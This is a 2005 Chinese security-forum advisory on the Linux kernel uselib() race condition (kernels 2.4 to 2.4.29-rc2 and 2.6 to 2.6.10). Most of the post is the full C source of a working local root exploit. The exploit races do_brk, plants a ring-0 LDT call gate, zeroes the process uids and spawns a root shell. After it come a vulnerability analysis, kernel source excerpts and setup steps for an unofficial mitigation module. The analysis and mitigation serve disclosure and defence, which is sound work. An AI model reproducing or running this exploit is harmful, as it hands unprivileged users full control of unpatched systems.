发新话题
打印

[公告]邪恶八进制安全小组计算机应急事件响应公告(ESTCERA0501)

[公告]邪恶八进制安全小组计算机应急事件响应公告(ESTCERA0501)

邪恶八进制安全小组计算机应急事件响应公告
EvilOctal Security Team Computer Emergency Response Announcement
(ESTCERA0501)




公告声明:
此紧急公告由邪恶八进制安全小组跟进编辑北京绿盟科技的漏洞通告,并在绿盟的公告上附加引用了很多其他的内容,漏洞报道部分北京绿盟科技版权所有,拷贝引用请注明来源为中联绿盟,整篇文章为邪恶八进制小组从世界各安全站点收集整理编辑,版权邪恶八进制安全小组所有!

Linux Kernel uselib()特权提升漏洞
发布日期:2005-01-07
更新日期:2005-01-10
本站编辑:2005-01-14

受影系统:
kernel.org: Linux kernel 2.4 - 2.4.29-rc2
kernel.org: Linux kernel 2.6 - 2.6.10
Linux: Linux全系列版本

安全综述:
Linux Kernel是开放源代码操作系统Linux的内核。
其二进制格式装载器(binary format loaders)uselib()函数存在缺陷,本地攻击者可以利用这个漏洞获得root用户权限。

漏洞描述:
Linux kernel 提供二进制格式的加载层程序,用以加载(执行)不同格式的二进制执行文件,例入ELF或a.out。而Linux kernel 利用 uselib里提供的函式来加载相应所需的函式库,其中binfmt_elf.c的load_elf_library()函式的漏洞,可让本机使用者未经允许而获得系统的root权限。因为这个弱点可允许ring0的程序执行,所以可能也可以跳脱虚拟机器(例如UML, user mode Linux)的控制。网络上已有多支攻击程序流传。

测试方法:

警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!



Paul Starzetz (paul@starzetz.de)提供了如下测试方法:
PS:此方法为绿盟科技转发,测试后并不好用,邪恶八进制安全小组已经拿到一份内部版,成功率几乎可以超过90%,很遗憾需要晚1周在PacketStorm公布。
复制内容到剪贴板
代码:
/*
*   binfmt_elf uselib VMA insert race vulnerability
*   v1.08
*
*   gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
*
*   Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
*
*   THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
*   AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
*   WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/


#define _GNU_SOURCE

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>

#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>

#include <linux/elf.h>
#include <linux/linkage.h>

#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>

#define str(s) #s
#define xstr(s) str(s)

#define MREMAP_MAYMOVE  1


//   temp lib location
#define LIBNAME    "/dev/shm/_elf_lib"

//   shell name
#define   SHELL      "/bin/bash"

//   time delta to detect race
#define RACEDELTA   5000

//   if you have more deadbabes in memory, change this
#define MAGIC      0xdeadbabe


//   do not touch
#define   SLAB_THRSH   128
#define   SLAB_PER_CHLD   (INT_MAX - 1)
#define LIB_SIZE   ( PAGE_SIZE * 4 )
#define STACK_SIZE   ( PAGE_SIZE * 4 )

#define LDT_PAGES   ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )

#define ENTRY_GATE   ( LDT_ENTRIES-1 )
#define SEL_GATE   ( (ENTRY_GATE<<3)|0x07 )

#define ENTRY_LCS   ( ENTRY_GATE-2 )
#define SEL_LCS      ( (ENTRY_LCS<<3)|0x04 )

#define ENTRY_LDS   ( ENTRY_GATE-1 )
#define SEL_LDS      ( (ENTRY_LDS<<3)|0x04 )

#define kB      * 1024
#define MB      * 1024 kB
#define GB      * 1024 MB

#define TMPLEN      256
#define PGD_SIZE   ( PAGE_SIZE*1024 )


extern char **environ;

static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];


static volatile int
   val = 0,
   go = 0,
   finish = 0,
   scnt = 0,
   ccnt=0,
   delta = 0,
   delta_max = RACEDELTA,
   map_flags = PROT_WRITE|PROT_READ;


static int
   fstop=0,
   silent=0,
   pidx,
   pnum=0,
   smp_max=0,
   smp,
   wtime=2,
   cpid,
   uid,
   task_size,
   old_esp,
   lib_addr,
   map_count=0,
   map_base=0,
   map_addr,
   addr_min,
   addr_max,
   vma_start,
   vma_end,
   max_page;


static struct timeval tm1, tm2;

static char *myenv[] = {"TERM=vt100",
        "HISTFILE=/dev/null",
        NULL};

static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
                 "\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";


static char *pagemap, *libname=LIBNAME, *shellname=SHELL;



#define __NR_sys_gettimeofday   __NR_gettimeofday
#define __NR_sys_sched_yield   __NR_sched_yield
#define __NR_sys_madvise   __NR_madvise
#define __NR_sys_uselib      __NR_uselib
#define __NR_sys_mmap2      __NR_mmap2
#define __NR_sys_munmap      __NR_munmap
#define __NR_sys_mprotect   __NR_mprotect
#define __NR_sys_mremap      __NR_mremap

inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);

inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);

inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );

inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);

inline _syscall1(int, sys_uselib, char*, l);

inline _syscall0(void, sys_sched_yield);



inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;

   r=t2->tv_sec - t1->tv_sec;
   r*=1000000;
   r+=t2->tv_usec - t1->tv_usec;
return r;
}


void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);

   if(!errno) {
      fprintf(stdout, "\n[-] FAILED: %s ", message);
   } else {
      fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
        (char*) (strerror(errno)) );
   }
   if(critical)
      printf("\nCRITICAL, entering endless loop");
   printf("\n");
   fflush(stdout);

   unlink(libname);
   kill(cpid, SIGKILL);
   for(;;) kill(0, sig);
}


//   try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
   finish=1;

   for(;;) {
      errno = 0;

//   check if raced:
recheck:
      if(!go) sys_sched_yield();
      sys_gettimeofday(&tm2, NULL);
      delta = tmdiff(&tm1, &tm2);
      if(!smp_max && delta < (unsigned)delta_max) goto recheck;
      smp = smp_max;

//   check if lib VMAs exist as expected under race condition
recheck2:
      val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
      if(val) continue;
      errno = 0;
      val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
           LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
      if( !val || (val<0 && errno!=ENOMEM) ) continue;

//   SMP?
      smp--;
      if(smp>=0) goto recheck2;

//   recheck race
      if(!go) continue;
      finish++;

//   we need to free one vm_area_struct for mmap to work
      val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
      if(val) fatal("mprotect", 0);
      val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
            MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
      if(-1==val) fatal("mmap2 race", 0);
      printf("\n[+] race won maps=%d", map_count); fflush(stdout);
      _exit(0);
   }

return 0;
}


int callme_1()
{
   return val++;
}


inline int valid_ptr(unsigned ptr)
{
   return ptr>=task_size && ptr<addr_min-16;
}


inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;

   if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
      t=(unsigned*)p[3];
      if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
        return 1;
   }
   return 0;
}


asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;

//   find & reset uids
   while(addr[0] != uid || addr[1] != uid ||
       addr[2] != uid || addr[3] != uid)
      addr++;

   addr[0] = addr[0] = addr[2] = addr[3] = 0;
   addr[4] = addr[5] = addr[6] = addr[7] = 0;

//   find & correct VMA
   for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
      if( validate_vma(addr, vma_start, vma_end) ) {
        addr[1] = task_size - PAGE_SIZE;
        addr[2] = task_size;
        break;
      }
   }
}


void kcode(void);


void __kcode(void)
{
asm(
   "kcode:                \n"
   "   pusha              \n"
   "   pushl   %es           \n"
   "   pushl   %ds           \n"
   "   movl   $(" xstr(SEL_LDS) ") ,%edx   \n"
   "   movl   %edx,%es        \n"
   "   movl   %edx,%ds        \n"
   "   movl   $0xffffe000,%eax      \n"
   "   andl   %esp,%eax        \n"
   "   pushl   %eax           \n"
   "   call   kernel_code        \n"
   "   addl   $4, %esp        \n"
   "   popl   %ds           \n"
   "   popl   %es           \n"
   "   popa              \n"
   "   lret              \n"
   );
}


int callme_2()
{
   return val + task_size + addr_min;
}


void sigfailed(int v)
{
   ccnt++;
   fatal("lcall", 1);
}


//   modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;

   printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
   unlink(libname);

   r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
   if(r) fatal("mprotect 1", 1);

//   check if really LDT
   v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
   signal(SIGSEGV, sigfailed);
   r = *v;
   if(r != MAGIC) {
      printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
      fatal("find LDT", 1);
   }

//   yeah, setup CPL0 gate
   v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
   v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
   printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);

//   setup CPL0 segment descriptors (we need the &#39;accessed&#39; versions ;-)
   v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
   v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
   v[1] = 0x00cf9b00;

   v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
   v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
   v[1] = 0x00cf9300;

//   reprotect to get only one big VMA
   r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
   if(r) fatal("mprotect 2", 1);

//   CPL0 transition
   sys_sched_yield();
   val = callme_1() + callme_2();
   asm("lcall $" xstr(SEL_GATE) ",$0x0");
   if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
      printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
   } else {
      printf("\n[-] uid change failed" ); fflush(stdout);
      sigfailed(0);
   }
   signal(SIGTERM, SIG_IGN);
   kill(0, SIGTERM);
   execl(shellname, "sh", NULL);
   fatal("execl", 0);
}


void scan_mm_finish();
void scan_mm_start();


//   kernel page table scan code
void scan_mm()
{
   map_addr -= PAGE_SIZE;
   if(map_addr <= (unsigned)addr_min)
      scan_mm_start();

   scnt=0;
   val = *(int*)map_addr;
   scan_mm_finish();
}


void scan_mm_finish()
{
retry:
   __asm__("movl   %0, %%esp" : :"m"(old_esp) );

   if(scnt) {
      pagemap[pidx] ^= 1;
   }
   else {
      sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
   }
   pidx--;
   scan_mm();
   goto retry;
}


//   make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;

   pnum++;
   if(pnum==1) {
      pidx = max_page-1;
   }
   else if(pnum==2) {
      memset(&l, 0, sizeof(l));
      l.entry_number = LDT_ENTRIES-1;
      l.seg_32bit = 1;
      l.base_addr = MAGIC >> 16;
      l.limit = MAGIC & 0xffff;
      l.limit_in_pages = 1;
      if( modify_ldt(1, &l, sizeof(l)) != 0 )
        fatal("modify_ldt", 1);
      pidx = max_page-1;
   }
   else if(pnum==3) {
      npg=0;
      for(pidx=0; pidx<=max_page-1; pidx++) {
        if(pagemap[pidx]) {
           npg++;
           fflush(stdout);
        }
        else if(npg == LDT_PAGES) {
           npg=0;
           try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
        } else {
           npg=0;
        }
      }
      fatal("find LDT", 1);
   }

//   save context & scan page table
   __asm__("movl   %%esp, %0" : :"m"(old_esp) );
   map_addr = addr_max;
   scan_mm();
}


//   return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;

   fp = fopen("/proc/slabinfo", "r");
   if(!fp)
      fatal("get_slab_objs: fopen", 0);
   fgets(name, sizeof(name) - 1, fp);
   do {
      c = u = a = -1;
      if (!fgets(line, sizeof(line) - 1, fp))
        break;
      c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
          &d, &d, &d, &d);
   } while (strcmp(name, sn));
   close(fileno(fp));
   fclose(fp);
   return c == 7 ? a - u : -1;
}


//   leave one object in the SLAB
inline void prepare_slab()
{
int *r;

   map_addr -= PAGE_SIZE;
   map_count++;
   map_flags ^= PROT_READ;

   r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
            MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
   if(MAP_FAILED == r) {
      fatal("try again", 0);
   }
   *r = map_addr;
}


//   sig handlers
void segvcnt(int v)
{
   scnt++;
   scan_mm_finish();
}


//   child reap
void reaper(int v)
{
   ccnt++;
   waitpid(0, &v, WNOHANG|WUNTRACED);
}


//   sometimes I get the VMAs in reversed order...
//   so just use anyone of the two but take care about the flags
void check_vma_flags();

void vreversed(int v)
{
   map_flags = 0;
   check_vma_flags();
}


void check_vma_flags()
{
   if(map_flags) {
      __asm__("movl   %%esp, %0" : :"m"(old_esp) );
   } else {
      __asm__("movl   %0, %%esp" : :"m"(old_esp) );
      goto out;
   }
   signal(SIGSEGV, vreversed);
   val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}


//   use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";

//   printf("\n   cat /proc/%d/maps", getpid() ); fflush(stdout);

//   helper clone
   finish=0; ccnt=0;
   sz = sizeof(cstack) / sizeof(cstack[0]);
   cpid = clone(&raceme, (void*) &cstack[sz-16],
        CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
   if(-1==cpid) fatal("clone", 0);

//   synchronize threads
   while(!finish) sys_sched_yield();
   finish=0;
   if(!silent) {
      printf("\n"); fflush(stdout);
   }

//   try to hit the kmalloc race
   for(;;) {

      r = get_slab_objs("vm_area_struct");
      while(r != 1) {
        prepare_slab();
        r--;
      }

      sys_gettimeofday(&tm1, NULL);
      go = 1;
      r=sys_uselib(libname);
      go = 0;
      if(r) fatal("uselib", 0);
      if(finish) break;

//   wipe lib VMAs and try again
      r = sys_munmap(lib_addr, LIB_SIZE);
      if(r) fatal("munmap lib", 0);
      if(ccnt) goto failed;

      if( !silent && !(pcnt%64) ) {
        printf("\r   Wait... %c", smiley[ (pcnt/64)%8 ]);
        fflush(stdout);
      }
      pcnt++;
   }

//   seems we raced, free mem
   r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
   if(r) fatal("munmap 1", 0);
   r = sys_munmap(lib_addr, PAGE_SIZE);
   if(r) fatal("munmap 2", 0);
   
//   relax kswapd
   sys_gettimeofday(&tm1, NULL);
   for(;;) {
      sys_sched_yield();
      sys_gettimeofday(&tm2, NULL);
      delta = tmdiff(&tm1, &tm2);
      if( wtime*1000000U <= (unsigned)delta ) break;
   }

//   we need to check the PROT_EXEC flag
   map_flags = PROT_EXEC;
   check_vma_flags();
   if(!map_flags) {
      printf("\n   VMAs reversed"); fflush(stdout);
   }

//   write protect brk&#39;s VMA to fool vm_enough_memory()
   r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
         PROT_READ|map_flags);
   if(-1==r) { fatal("mprotect brk", 0); }

//   this will finally make the big VMA...
   sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
   r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
        LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
   if(r) fatal("madvise", 0);
   r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
        PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
   if(-1==r) {
      if(0==sz) {
        fatal("mremap: expand VMA", 0);
      } else {
        sz -= PAGE_SIZE;
        goto expand;
      }
   }
   vma_start = lib_addr + PAGE_SIZE;
   vma_end = vma_start + sz + 2*PAGE_SIZE;
   printf("\n   expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
   fflush(stdout);

//   try to figure kernel layout
   signal(SIGCHLD, reaper);
   signal(SIGSEGV, segvcnt);
   signal(SIGBUS, segvcnt);
   scan_mm_start();

failed:
   fatal("try again", 0);

}


//   make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;

//   make our elf library
   umask(022);
   unlink(libname);
   fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
   if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
   memset(&eh, 0, sizeof(eh) );

//   elf exec header
   memcpy(eh.e_ident, ELFMAG, SELFMAG);
   eh.e_type = ET_EXEC;
   eh.e_machine = EM_386;
   eh.e_phentsize = sizeof(struct elf_phdr);
   eh.e_phnum = 1;
   eh.e_phoff = sizeof(eh);
   write(fd, &eh, sizeof(eh) );

//   section header:
   memset(&eph, 0, sizeof(eph) );
   eph.p_type = PT_LOAD;
   eph.p_offset = 4096;
   eph.p_filesz = 4096;
   eph.p_vaddr = lib_addr;
   eph.p_memsz = LIB_SIZE;
   eph.p_flags = PF_W|PF_R|PF_X;
   write(fd, &eph, sizeof(eph) );

//   execable code
   lseek(fd, 4096, SEEK_SET);
   memset(tmpbuf, 0x90, sizeof(tmpbuf) );
   write(fd, &tmpbuf, sizeof(tmpbuf) );
   close(fd);
}


//   move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;

   old_esp &= ~(PAGE_SIZE-1);
   old_esp -= PAGE_SIZE;
   task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
   r = sys_munmap(old_esp, task_size-old_esp);
   if(r) fatal("unmap stack", 0);

//   setup rt env
   uid = getuid();
   lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
   if(map_base)
      map_addr = map_base;
   else
      map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
   printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
      old_esp, task_size, map_base); fflush(stdout);

//   check physical mem & prepare
   sysinfo(&si);
   addr_min = task_size + si.totalram;
   addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
   addr_max = addr_min + si.totalram;
   if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
      addr_max = 0xffffd000;

   printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
   max_page = (addr_max - addr_min) / PAGE_SIZE;
   pagemap = malloc( max_page + 32 );
   if(!pagemap) fatal("malloc pagemap", 1);
   memset(pagemap, 0, max_page + 32);

//   go go
   make_lib();
   exploitme();
}


//   move stack down #1
void prepare()
{
unsigned p=0;

   environ = myenv;

   p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
          MAP_PRIVATE|MAP_ANONYMOUS, 0, 0   );
   if(-1==p) fatal("mmap2 stack", 0);
   p += STACK_SIZE - 64;

   __asm__("movl   %%esp, %0   \n"
      "movl    %1, %%esp   \n"
      : : "m"(old_esp), "m"(p)
   );

   prepare_finish();
}


void chldcnt(int v)
{
   ccnt++;
}


//   alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;

   __asm__("movl   %%esp, %0" : : "m"(old_esp) );

   old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
   old_esp = map_base? map_base : old_esp;

   for(;;) {
      if(left<=0)
        left = get_slab_objs("vm_area_struct");
      if(left <= SLAB_THRSH)
        break;
      left--;

      map_flags ^= PROT_READ;
      old_esp -= PAGE_SIZE;
      r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
        MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
      if(MAP_FAILED == r)
        break;

      if(c>SLAB_PER_CHLD)
        break;
      if( (c%1024)==0 ) {
        if(!c) printf("\n");
        printf("\r   child %d VMAs %d", val, c);
        fflush(stdout);
      }
      c++;
   }
   printf("\r   child %d VMAs %d", val, c);
   fflush(stdout);
   kill(getppid(), SIGUSR1);
   for(;;) pause();
}


//   empty SLAB caches
void wipe_slab()
{
   signal(SIGUSR1, chldcnt);
   printf("\n[+] SLAB cleanup"); fflush(stdout);
   for(;;) {
      ccnt=0;
      val++;
      cpid = fork();
      if(!cpid)
        do_wipe();

      while(!ccnt) sys_sched_yield();
      if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
        break;
   }
   signal(SIGUSR1, SIG_DFL);
}


void usage(char *n)
{
   printf("\nUsage: %s\t-f forced stop\n", n);
   printf("\t\t-s silent mode\n");
   printf("\t\t-c command to run\n");
   printf("\t\t-n SMP iterations\n");
   printf("\t\t-d race delta us\n");
   printf("\t\t-w wait time seconds\n");
   printf("\t\t-l alternate lib name\n");
   printf("\t\t-a alternate addr hex\n");
   printf("\n");
   _exit(1);
}


//   give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;

   while(ac) {
      r = getopt(ac, av, "n:l:a:w:c:d:fsh");
      if(r<0) break;

      switch(r) {

      case &#39;f&#39; :
        fstop = 1;
        break;

      case &#39;s&#39; :
        silent = 1;
        break;

      case &#39;n&#39; :
        smp_max = atoi(optarg);
        break;

      case &#39;d&#39;:
        if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
           fatal("bad delta value", 0);
        break;

      case &#39;w&#39; :
        wtime = atoi(optarg);
        if(wtime<0) fatal("bad wait value", 0);
        break;

      case &#39;l&#39; :
        libname = strdup(optarg);
        break;

      case &#39;c&#39; :
        shellname = strdup(optarg);
        break;

      case &#39;a&#39; :
        if(1!=sscanf(optarg, "%x", &map_base))
           fatal("bad addr value", 0);
        map_base &= ~(PGD_SIZE-1);
        break;

      case &#39;h&#39; :
      default:
        usage(av[0]);
        break;
      }
   }

//   basic setup
   uid = getuid();
   setpgrp();
   wipe_slab();
   prepare();

return 0;
}
漏洞分析:
Linux内核提供两进制格式装载器层来装载不同格式的程序如ELF或者a.out或其他的,内核也提供sys_uselib()函数装载对应的两进制程序。从binfmt_elf.c文件中对load_elf_library()的uselib函数分析,在对库的BRK段(VMA)处理上存在问题,此段通过current->mm->mmap_sem建立,当修改调用进程的内存布局时&#39;信号灯&#39;(semaphore)没有保持,这可以用来扰乱内存管理并提升特权。

部分源代码fs/binfmt_elf.c如下:
复制内容到剪贴板
代码:
static int load_elf_library(struct file *file)
{
[904]  down_write(¤t->mm->mmap_sem);
     error = do_mmap(file,
              ELF_PAGESTART(elf_phdata->p_vaddr),
              (elf_phdata->p_filesz +
               ELF_PAGEOFFSET(elf_phdata->p_vaddr)),
              PROT_READ | PROT_WRITE | PROT_EXEC,
              MAP_FIXED | MAP_PRIVATE | MAP_DENYWRITE,
              (elf_phdata->p_offset -
               ELF_PAGEOFFSET(elf_phdata->p_vaddr)));
     up_write(¤t->mm->mmap_sem);
     if (error != ELF_PAGESTART(elf_phdata->p_vaddr))
          goto out_free_ph;

     elf_bss = elf_phdata->p_vaddr + elf_phdata->p_filesz;
     padzero(elf_bss);

     len = ELF_PAGESTART(elf_phdata->p_filesz + elf_phdata->p_vaddr + ELF_MIN_ALIGN - 1);
     bss = elf_phdata->p_memsz + elf_phdata->p_vaddr;
     if (bss > len)
          do_brk(len, bss - len);
上面可以看到为了建立ELF两进制的数据段mmap_sem在调用do_brk()前释放,换句话说,查看mm/mmap.c文件中的sys_brk()可看出do_brk()必须以信号灯保持方式来调用。

再看下do_brk()代码:
复制内容到剪贴板
代码:
[1094] vma = kmem_cache_alloc(vm_area_cachep, SLAB_KERNEL);
     if (!vma)
          return -ENOMEM;

     vma->vm_mm = mm;
     vma->vm_start = addr;
     vma->vm_end = addr + len;
     vma->vm_flags = flags;
     vma->vm_page_prot = protection_map[flags & 0x0f];
     vma->vm_ops = NULL;
     vma->vm_pgoff = 0;
     vma->vm_file = NULL;
     vma->vm_private_data = NULL;

     vma_link(mm, vma, prev, rb_link, rb_parent);
rb_link和rb_parent由find_vma_prepare()查询,很明显,如果kmem_cache_alloc()调用休眠,由于进程的VMA列表和VMA RB-tree可以被其他线程更改,新建立的VMA描述符可以被插入到其他位置。导致特权提升。

解决方法:
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.kernel.org/

解决方案:目前无官方修补程序。
数联资安G-Expert Team(www.issdu.com.tw)已为此漏洞撰写防御程序,免费提供使用者下载,在此感谢台湾的杨伯瀚、徐千洋两位专家提供的非官方修补程序。

下载网址:http://www.issdu.com.tw/upload/customer/anti-uselib.sh
如果不能访问台湾站点的朋友 此文件我们已经压在文章末尾了 请自己下载

详细安装说明请参考下列文字。
安装说明:

基本需求:
1. 系统须为 kernel 2.4 系列.
2. 请先安装 kernel source RPM, 已提供编译环境.

使用说明:
1. 切换成 root 身份.
2. 将 anti-uselib.sh 下载存成档案.
3. 执行 chmod +x anti-uselib.sh
4. 执行 ./anti-uselib.sh

[+] creating anti-uselib.c: OK
[+] compiling anti-uselib.c: OK
[+] loading the module : OK

5. 执行 dmesg 将会发现有 anti-uselib kernel module is installed. 讯息.
表示安装成功.
6. 如果非 root 身份欲执行 uselib exploit, 则会有 Warning: pid=[2982],
uid=[501], calling uselib() 类似的讯息.


附加信息:
http://www.nsfocus.net/index.php ... iew&bug_id=7326
http://www.issdu.com.tw/news/index-2.jsp?ID=20050112193606884
http://www.securityfocus.com/bid/12190
http://isec.pl/vulnerabilities/isec-0021-uselib.txt
http://isec.pl/vulnerabilities/isec-0021-uselib.txt
http://www.eviloctal.com/forum/read.php?tid=6777

附件

anti-uselib.rar (1 KB)

2005-1-14 04:13, 下载次数: 211

qq310926是我唯一用号,除此之外有其他号码号自称邪八冰血封情,则非本人。

TOP

发新话题
最近访问的版块